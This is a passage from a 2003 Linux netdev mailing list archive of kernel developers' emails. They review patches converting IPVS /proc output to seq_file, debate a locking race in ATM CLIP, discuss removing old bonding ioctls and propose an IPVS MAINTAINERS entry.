spin_lock_bh(&ip_vs_stats.lock); - sprintf(temp, "%8X %8X %8X %8X%08X %8X%08X", - ip_vs_stats.conns, - ip_vs_stats.inpkts, - ip_vs_stats.outpkts, - (__u32)(ip_vs_stats.inbytes>>32), - (__u32)ip_vs_stats.inbytes, - (__u32)(ip_vs_stats.outbytes>>32), - (__u32)ip_vs_stats.outbytes); - len += sprintf(buf+len, "%-62s\n\n", temp); - - len += sprintf(buf+len, "%-63s\n", -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ - " Conns/s Pkts/s Pkts/s Bytes/s Bytes/s"); - sprintf(temp, "%8X %8X %8X %16X %16X", + +/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ + seq_puts(seq, + " Total Incoming Outgoing Incoming Outgoing\n"); + seq_printf(seq, + " Conns Packets Packets Bytes Bytes\n"); + + spin_lock_bh(&ip_vs_stats.lock); + seq_printf(seq, "%8X %8X %8X %16LX %16LX\n\n", ip_vs_stats.conns, + ip_vs_stats.inpkts, ip_vs_stats.outpkts, + ip_vs_stats.inbytes, ip_vs_stats.outbytes); + +/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ + seq_puts(seq, + " Conns/s Pkts/s Pkts/s Bytes/s Bytes/s\n"); + seq_printf(seq,"%8X %8X %8X %16X %16X\n", ip_vs_stats.cps, ip_vs_stats.inpps, ip_vs_stats.outpps, ip_vs_stats.inbps, ip_vs_stats.outbps); - len += sprintf(buf+len, "%-63s\n", temp); + spin_unlock_bh(&ip_vs_stats.lock); - spin_unlock_bh(&ip_vs_stats.lock); - } + return 0; +} - *start = buf+len-(pos-offset); /* Start of wanted data */ - len = pos-offset; - if (len > length) - len = length; - if (len < 0) - len = 0; - return len; +static int ip_vs_stats_seq_open(struct inode *inode, struct file *file) +{ + return single_open(file, ip_vs_stats_show, NULL); } +static struct file_operations ip_vs_stats_fops = { + .owner = THIS_MODULE, + .open = ip_vs_stats_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; + +#endif /* * Set timeout values for tcp tcpfin udp in the timeout_table. @@ -2195,8 +2243,8 @@ int ip_vs_control_init(void) return ret; } - proc_net_create("ip_vs", 0, ip_vs_get_info); - proc_net_create("ip_vs_stats", 0, ip_vs_stats_get_info); + proc_net_fops_create("ip_vs", 0, &ip_vs_info_fops); + proc_net_fops_create("ip_vs_stats",0, &ip_vs_stats_fops); ipv4_vs_table.sysctl_header = register_sysctl_table(ipv4_vs_table.root_dir, 0); From chas@cmf.nrl.navy.mil Mon Sep 15 14:59:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 14:59:13 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FLx9Ya017425 for ; Mon, 15 Sep 2003 14:59:10 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8FLx1Sa005910; Mon, 15 Sep 2003 17:59:02 -0400 (EDT) Message-Id: <200309152159.h8FLx1Sa005910@ginger.cmf.nrl.navy.mil> To: Francois Romieu cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() In-Reply-To: Message from Francois Romieu of "Mon, 15 Sep 2003 22:59:01 +0200." <20030915225901.A22239@electric-eye.fr.zoreil.com> Date: Mon, 15 Sep 2003 17:59:02 -0400 From: chas williams X-Spam-Score: (*) hits=1.7 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5929 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20030915225901.A22239@electric-eye.fr.zoreil.com>,Francois Romieu w rites: >Afaik unlink_clip_vcc() can be called from a clip_push() issued in IRQ >context through vcc->push() in a device driver as well as from user-space >through vcc_ioctl()/ATMARP_SETENTRY. If the lock is taken by user-space >first, what avoids that unlink_clip_vcc(IRQ) deadlocks on it ? i believe you are talking about: if (!skb) { DPRINTK("removing VCC %p\n",clip_vcc); if (clip_vcc->entry) unlink_clip_vcc(clip_vcc); clip_vcc->old_push(vcc,NULL); /* pass on the bad news */ kfree(clip_vcc); return; } this is triggered by vcc_destroy_sock(), which is part of vcc_release() which is always going to be in user context. its a bit subtle but there is no path to unlink_clip_vcc() that isnt in user context. >No comment for the clip_start_xmit() part btw. actually, you dont need to modify that part. From pmueller@sidestep.com Mon Sep 15 15:02:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:02:46 -0700 (PDT) Received: from exchange.sidestep.com (208.177.165.247.ptr.us.xo.net [208.177.165.247]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FM2fYa017848 for ; Mon, 15 Sep 2003 15:02:43 -0700 Received: by exchange.sidestep.com with Internet Mail Service (5.5.2655.55) id ; Mon, 15 Sep 2003 14:57:00 -0700 Message-ID: <37328159548B4242A34141B1A69CDB73031BAAAE@exchange.sidestep.com> From: Peter Mueller To: "'LinuxVirtualServer.org users mailing list.'" , "David S. Miller" , "'Stephen Hemminger'" Cc: netdev@oss.sgi.com Subject: RE: [PATCH] Convert ipvs to use seq_file. Date: Mon, 15 Sep 2003 14:56:59 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2655.55) Content-Type: text/plain X-archive-position: 5930 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pmueller@sidestep.com Precedence: bulk X-list: netdev Hello Stephen, > P.s: how come there is no MAINTAINER listed for IPVS? Wensong Zhang is the maintainer; where did you expect to see a maintainer listed at? The LVS-developers that seem to be most active are: Wensong Zhang Julian Atanasaov Simon Horman ('Horms') Alexandre Cassen Roberto Nibali ('Ratz') Joseph Mack AFAIK Redhat takes the LVS-source and patches it up at their end for Pirahna, so patches should probably not go to RH. Hope it helps, Peter From davem@pizda.ninka.net Mon Sep 15 15:14:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:14:16 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMECYa018438 for ; Mon, 15 Sep 2003 15:14:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29483; Mon, 15 Sep 2003 15:01:04 -0700 Date: Mon, 15 Sep 2003 15:01:04 -0700 From: "David S. Miller" To: Peter Mueller Cc: lvs-users@LinuxVirtualServer.org, shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] Convert ipvs to use seq_file. Message-Id: <20030915150104.677c25a0.davem@redhat.com> In-Reply-To: <37328159548B4242A34141B1A69CDB73031BAAAE@exchange.sidestep.com> References: <37328159548B4242A34141B1A69CDB73031BAAAE@exchange.sidestep.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5931 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 14:56:59 -0700 Peter Mueller wrote: > Hello Stephen, > > > P.s: how come there is no MAINTAINER listed for IPVS? > > Wensong Zhang is the maintainer; where did you expect to see a maintainer > listed at? Where it belongs, in the "linux/MAINTAINERS" file. From davem@pizda.ninka.net Mon Sep 15 15:14:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:14:17 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMEDYa018443 for ; Mon, 15 Sep 2003 15:14:13 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29493; Mon, 15 Sep 2003 15:02:17 -0700 Date: Mon, 15 Sep 2003 15:02:17 -0700 From: "David S. Miller" To: chas williams Cc: romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() Message-Id: <20030915150217.06b03168.davem@redhat.com> In-Reply-To: <200309152159.h8FLx1Sa005910@ginger.cmf.nrl.navy.mil> References: <20030915225901.A22239@electric-eye.fr.zoreil.com> <200309152159.h8FLx1Sa005910@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5932 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 17:59:02 -0400 chas williams wrote: > this is triggered by vcc_destroy_sock(), which is part of vcc_release() > which is always going to be in user context. its a bit subtle but > there is no path to unlink_clip_vcc() that isnt in user context. Are you really totally sure that no interrupt path can release a VCC? That's not how I understood this stuff to work last time I looked at it. From mitch@sfgoth.com Mon Sep 15 15:22:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:22:12 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMM8Ya019245 for ; Mon, 15 Sep 2003 15:22:09 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8FMUmkV099582; Mon, 15 Sep 2003 15:30:48 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8FMUmTq099581; Mon, 15 Sep 2003 15:30:48 -0700 (PDT) (envelope-from mitch) Date: Mon, 15 Sep 2003 15:30:48 -0700 From: Mitchell Blank Jr To: "David S. Miller" Cc: chas williams , romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() Message-ID: <20030915223048.GD92642@gaz.sfgoth.com> References: <20030915225901.A22239@electric-eye.fr.zoreil.com> <200309152159.h8FLx1Sa005910@ginger.cmf.nrl.navy.mil> <20030915150217.06b03168.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030915150217.06b03168.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 5933 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev David S. Miller wrote: > > which is always going to be in user context. its a bit subtle but > > there is no path to unlink_clip_vcc() that isnt in user context. > > Are you really totally sure that no interrupt path can release > a VCC? That should be the case at least for any VCC on a real interface[*]. Some ATM cards have ->close() methods that can take a while so connection teardown has to happen with some sort of sleepable context. So if there are cases where an interrupt causes the VCC to die they would need to be fixed anyways. -Mitch [*] some protocols use psuedo-interfaces for their control connections - in theory I guess they could be different but I don't believe there are any cases where they are. They wouldn't affect this issue anyways though. From davem@pizda.ninka.net Mon Sep 15 15:35:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:35:54 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMZjYa019850 for ; Mon, 15 Sep 2003 15:35:45 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29628; Mon, 15 Sep 2003 15:24:08 -0700 Date: Mon, 15 Sep 2003 15:24:08 -0700 From: "David S. Miller" To: Mitchell Blank Jr Cc: chas@cmf.nrl.navy.mil, romieu@fr.zoreil.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() Message-Id: <20030915152408.2b9bae8a.davem@redhat.com> In-Reply-To: <20030915223048.GD92642@gaz.sfgoth.com> References: <20030915225901.A22239@electric-eye.fr.zoreil.com> <200309152159.h8FLx1Sa005910@ginger.cmf.nrl.navy.mil> <20030915150217.06b03168.davem@redhat.com> <20030915223048.GD92642@gaz.sfgoth.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5934 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 15 Sep 2003 15:30:48 -0700 Mitchell Blank Jr wrote: > David S. Miller wrote: > > Are you really totally sure that no interrupt path can release > > a VCC? > > That should be the case at least for any VCC on a real interface[*]. > Some ATM cards have ->close() methods that can take a while so connection > teardown has to happen with some sort of sleepable context. So if there > are cases where an interrupt causes the VCC to die they would need to be > fixed anyways. Ok, I'm convinced. :) I'll apply Chas's patch then, thanks. From rddunlap@osdl.org Mon Sep 15 15:58:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:58:58 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMwsYa020658 for ; Mon, 15 Sep 2003 15:58:54 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FMwmo32290; Mon, 15 Sep 2003 15:58:48 -0700 Date: Mon, 15 Sep 2003 15:52:25 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: janitor@sternwelten.at Subject: Fw: [Kernel-janitors] old ioctl definitions in 2.5 Message-Id: <20030915155225.3cf90d79.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Mon__15_Sep_2003_15:52:25_-0700_097a8d78" X-archive-position: 5936 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --Multipart_Mon__15_Sep_2003_15:52:25_-0700_097a8d78 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hi Max, I think that we need to ask the netdev people about this... Thanks, ~Randy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Begin forwarded message: Date: Fri, 12 Sep 2003 13:49:52 +0200 From: maximilian attems To: kj Cc: Subject: [Kernel-janitors] old ioctl definitions in 2.5 heyyy :) include/linux/if_bonding.h contains: --- snipp /* * We can remove these ioctl definitions in 2.5. People should use the * SIOC*** versions of them instead */ #define BOND_ENSLAVE_OLD (SIOCDEVPRIVATE) #define BOND_RELEASE_OLD (SIOCDEVPRIVATE + 1) #define BOND_SETHWADDR_OLD (SIOCDEVPRIVATE + 2) #define BOND_SLAVE_INFO_QUERY_OLD (SIOCDEVPRIVATE + 11) #define BOND_INFO_QUERY_OLD (SIOCDEVPRIVATE + 12) #define BOND_CHANGE_ACTIVE_OLD (SIOCDEVPRIVATE + 13) --- their use is very limited mostly in Documentation/networking/ifenslave.c and drivers/net/bonding/bond_main.c do you consider this as a kj case? shall they be removed? thx for your ansers! a++ maks --Multipart_Mon__15_Sep_2003_15:52:25_-0700_097a8d78 Content-Type: text/plain; name="00000000.mimetmp" Content-Disposition: attachment; filename="00000000.mimetmp" Content-Transfer-Encoding: 7bit heyyy :) include/linux/if_bonding.h contains: --- snipp /* * We can remove these ioctl definitions in 2.5. People should use the * SIOC*** versions of them instead */ #define BOND_ENSLAVE_OLD (SIOCDEVPRIVATE) #define BOND_RELEASE_OLD (SIOCDEVPRIVATE + 1) #define BOND_SETHWADDR_OLD (SIOCDEVPRIVATE + 2) #define BOND_SLAVE_INFO_QUERY_OLD (SIOCDEVPRIVATE + 11) #define BOND_INFO_QUERY_OLD (SIOCDEVPRIVATE + 12) #define BOND_CHANGE_ACTIVE_OLD (SIOCDEVPRIVATE + 13) --- their use is very limited mostly in Documentation/networking/ifenslave.c and drivers/net/bonding/bond_main.c do you consider this as a kj case? shall they be removed? thx for your ansers! a++ maks --Multipart_Mon__15_Sep_2003_15:52:25_-0700_097a8d78 Content-Type: application/pgp-signature; name="00000001.mimetmp" Content-Disposition: attachment; filename="00000001.mimetmp" Content-Transfer-Encoding: base64 LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMC42IChHTlUv TGludXgpCkNvbW1lbnQ6IEZvciBpbmZvIHNlZSBodHRwOi8vd3d3LmdudXBnLm9yZwoKaUQ4REJR RS9ZYkxnNi8va1NUTmpvWDBSQW9zNkFKOUIrS2djSjZnU083akVoc3RBd01Kb21HQnFHQUNmYXFs Ygp2VXhSM2h5RjdKYkpnbDk2bTBtNndSVT0KPXRSUzUKLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0t LS0tCgo= --Multipart_Mon__15_Sep_2003_15:52:25_-0700_097a8d78-- From ratz@drugphish.ch Mon Sep 15 15:58:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 15:58:38 -0700 (PDT) Received: from mailphish.drugphish.ch (adsl-212-90-196-233.cybernet.ch [212.90.196.233]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FMwHYa020609 for ; Mon, 15 Sep 2003 15:58:19 -0700 Received: from drugphish.ch (unknown [172.23.2.31]) by mailphish.drugphish.ch (drugphish mail transportation agency) with ESMTP id 738A7319A; Mon, 15 Sep 2003 22:29:52 +0000 (/etc/localtime) Message-ID: <3F66439E.60909@drugphish.ch> Date: Tue, 16 Sep 2003 00:56:30 +0200 From: Roberto Nibali User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030801 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "LinuxVirtualServer.org users mailing list." Cc: "David S. Miller" , netdev@oss.sgi.com, wensong@linux-vs.org Subject: Re: [PATCH] Convert ipvs to use seq_file. References: <20030915143957.041689d8.shemminger@osdl.org> In-Reply-To: <20030915143957.041689d8.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5935 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ratz@drugphish.ch Precedence: bulk X-list: netdev Hi Stephen, Wow, thanks for doing this! > Convert IPVS (for 2.6.0-test5) to use seq_file for the /proc interface. > Got rid of gratuitous 64 column trailing blank padding. Looks good, but in the end it's of course Wensong's call. > P.s: how come there is no MAINTAINER listed for IPVS? You mean something along the lines of: --- MAINTAINERS 2003-09-08 23:43:22.000000000 +0200 +++ MAINTAINERS.lvs 2003-09-16 00:24:17.000000000 +0200 @@ -1340,6 +1340,14 @@ L: netdev@oss.sgi.com S: Maintained +NETWORKING [IPVS] +P: Wensong Zhang +M: wensong@linux-vs.org +M: lvs-users@linuxvirtualserver.org +W: http://www.linux-vs.org/ +L: lvs-users@linuxvirtualserver.org +S: Maintained + NFS CLIENT P: Trond Myklebust M: trond.myklebust@fys.uio.no > @@ -615,61 +614,116 @@ ip_vs_conn_new(int proto, __u32 caddr, _ > /* > * /proc/net/ip_vs_conn entries > */ > -static int > -ip_vs_conn_getinfo(char *buffer, char **start, off_t offset, int length) > -{ > - off_t pos=0; > - int idx, len=0; > - char temp[70]; > - struct ip_vs_conn *cp; > - struct list_head *l, *e; > +#ifdef CONFIG_PROC_FS > > - pos = 128; > - if (pos > offset) { > - len += sprintf(buffer+len, "%-127s\n", > - "Pro FromIP FPrt ToIP TPrt DestIP DPrt State Expires"); > - } > +#define SEQ_START_TOKEN ((void *)1) > > +static void *ip_vs_conn_array(struct seq_file *seq, loff_t pos) > +{ > + struct list_head *e; > + int idx; > + loff_t off = 0; > + > for(idx = 0; idx < IP_VS_CONN_TAB_SIZE; idx++) { > - /* > - * Lock is actually only need in next loop > - * we are called from uspace: must stop bh. > - */ > ct_read_lock_bh(idx); > + list_for_each(e, &ip_vs_conn_tab[idx]) { > + if (off == pos) { > + seq->private = &ip_vs_conn_tab[idx]; > + return list_entry(e, struct ip_vs_conn, c_list); > + } > + ++off; > + } > + ct_read_unlock_bh(idx); > + } > > - l = &ip_vs_conn_tab[idx]; > - for (e=l->next; e!=l; e=e->next) { > - cp = list_entry(e, struct ip_vs_conn, c_list); > - pos += 128; > - if (pos <= offset) > - continue; > - sprintf(temp, > - "%-3s %08X %04X %08X %04X %08X %04X %-11s %7lu", > + return NULL; > +} > + > +static void *ip_vs_conn_seq_start(struct seq_file *seq, loff_t *pos) > +{ > + seq->private = NULL; > + return *pos ? ip_vs_conn_array(seq, *pos - 1) :SEQ_START_TOKEN; Nitpicking: s/:S/: S/ > -static int > -ip_vs_stats_get_info(char *buf, char **start, off_t offset, int length) > +#ifdef CONFIG_PROC_FS > +static int ip_vs_stats_show(struct seq_file *seq, void *v) > { > - int len=0; > - off_t pos=0; > - char temp[64]; > - > - pos += 320; > - if (pos > offset) { > - len += sprintf(buf+len, "%-63s\n%-63s\n", > -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ > - " Total Incoming Outgoing Incoming Outgoing", > - " Conns Packets Packets Bytes Bytes"); > - > - spin_lock_bh(&ip_vs_stats.lock); > - sprintf(temp, "%8X %8X %8X %8X%08X %8X%08X", > - ip_vs_stats.conns, > - ip_vs_stats.inpkts, > - ip_vs_stats.outpkts, > - (__u32)(ip_vs_stats.inbytes>>32), > - (__u32)ip_vs_stats.inbytes, > - (__u32)(ip_vs_stats.outbytes>>32), > - (__u32)ip_vs_stats.outbytes); > - len += sprintf(buf+len, "%-62s\n\n", temp); > - > - len += sprintf(buf+len, "%-63s\n", > -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ > - " Conns/s Pkts/s Pkts/s Bytes/s Bytes/s"); > - sprintf(temp, "%8X %8X %8X %16X %16X", > + > +/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ > + seq_puts(seq, > + " Total Incoming Outgoing Incoming Outgoing\n"); > + seq_printf(seq, > + " Conns Packets Packets Bytes Bytes\n"); > + > + spin_lock_bh(&ip_vs_stats.lock); > + seq_printf(seq, "%8X %8X %8X %16LX %16LX\n\n", ip_vs_stats.conns, > + ip_vs_stats.inpkts, ip_vs_stats.outpkts, > + ip_vs_stats.inbytes, ip_vs_stats.outbytes); %16LX is maybe better than %8X%08X, I agree ;) Now we have to wait for Wensong's approval. It certainly looks good to me. I have no idea what his plans are currently as the CVS version is not synched with the current bk version of 2.6.x. Also we still seem to have non-resolved issues with the skb linearisation patches. Best regards, Roberto Nibali, ratz -- echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc From ratz@drugphish.ch Mon Sep 15 16:00:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:00:54 -0700 (PDT) Received: from mailphish.drugphish.ch (adsl-212-90-196-233.cybernet.ch [212.90.196.233]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN0mYa021330 for ; Mon, 15 Sep 2003 16:00:49 -0700 Received: from drugphish.ch (unknown [172.23.2.31]) by mailphish.drugphish.ch (drugphish mail transportation agency) with ESMTP id 81A5E319A; Mon, 15 Sep 2003 22:32:24 +0000 (/etc/localtime) Message-ID: <3F664436.6020709@drugphish.ch> Date: Tue, 16 Sep 2003 00:59:02 +0200 From: Roberto Nibali User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030801 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "LinuxVirtualServer.org users mailing list." Cc: "David S. Miller" , netdev@oss.sgi.com, Wensong Zhang Subject: Re: [PATCH] ipvs -- print statistics in decimal. References: <20030915144154.26b9bad5.shemminger@osdl.org> In-Reply-To: <20030915144154.26b9bad5.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5937 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ratz@drugphish.ch Precedence: bulk X-list: netdev Stephen Hemminger wrote: > Most of of us read decimal better than hex ;-) While I agree with your comment this will seriously break existing user space applications, such as for example ipvsadm. > Assumes earlier seq_file patch. > diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c > --- a/net/ipv4/ipvs/ip_vs_ctl.c Mon Sep 15 14:31:43 2003 > +++ b/net/ipv4/ipvs/ip_vs_ctl.c Mon Sep 15 14:31:43 2003 > @@ -1716,22 +1716,22 @@ > #ifdef CONFIG_PROC_FS > static int ip_vs_stats_show(struct seq_file *seq, void *v) > { > + static const char hfmt[] > + = "%10s %10s %10s %20s %20s\n"; > > -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ > - seq_puts(seq, > - " Total Incoming Outgoing Incoming Outgoing\n"); > - seq_printf(seq, > - " Conns Packets Packets Bytes Bytes\n"); > + seq_printf(seq, hfmt, "Total", "Incoming", "Outgoing", > + "Incoming" ,"Outgoing"); > + seq_printf(seq, hfmt, "Conns", "Packets","Packets","Bytes","Bytes"); > > spin_lock_bh(&ip_vs_stats.lock); > - seq_printf(seq, "%8X %8X %8X %16LX %16LX\n\n", ip_vs_stats.conns, > + seq_printf(seq, "%10u %10u %10u %20llu %20llu\n\n", > + ip_vs_stats.conns, > ip_vs_stats.inpkts, ip_vs_stats.outpkts, > ip_vs_stats.inbytes, ip_vs_stats.outbytes); You break ipvsadm. > -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ > - seq_puts(seq, > - " Conns/s Pkts/s Pkts/s Bytes/s Bytes/s\n"); > - seq_printf(seq,"%8X %8X %8X %16X %16X\n", > + seq_printf(seq, hfmt, "Conns/s", "Pkts/s","Pkts/s", > + "Bytes/s","Bytes/s"); > + seq_printf(seq,"%10u %10u %10u %20u %20u\n", > ip_vs_stats.cps, > ip_vs_stats.inpps, > ip_vs_stats.outpps, Ditto. Best regards, Roberto Nibali, ratz -- echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc From davem@pizda.ninka.net Mon Sep 15 16:01:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:01:09 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN15Ya021436 for ; Mon, 15 Sep 2003 16:01:05 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29766; Mon, 15 Sep 2003 15:49:25 -0700 Date: Mon, 15 Sep 2003 15:49:25 -0700 From: "David S. Miller" To: Roberto Nibali Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com, wensong@linux-vs.org Subject: Re: [PATCH] Convert ipvs to use seq_file. Message-Id: <20030915154925.1c2f25f8.davem@redhat.com> In-Reply-To: <3F66439E.60909@drugphish.ch> References: <20030915143957.041689d8.shemminger@osdl.org> <3F66439E.60909@drugphish.ch> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5938 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 16 Sep 2003 00:56:30 +0200 Roberto Nibali wrote: > Looks good, but in the end it's of course Wensong's call. I'll apply Stephen's changes for now, if Wensong doesn't like them he can make changes when he next sends me IPVS stuff. From davem@pizda.ninka.net Mon Sep 15 16:02:11 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 16:02:14 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FN2BYa022005 for ; Mon, 15 Sep 2003 16:02:11 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA29801; Mon, 15 Sep 2003 15:50:28 -0700 Date: Mon, 15 Sep 2003 15:50:28 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [IPV4] convert proc/net/pnp to seq_file. Message-Id: <20030915155028.271aa1e9.davem@redhat.com> In-Reply-To: <20030913.142007.113839771.yoshfuji@linux-ipv6.org> References: <20030913.142007.113839771.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; 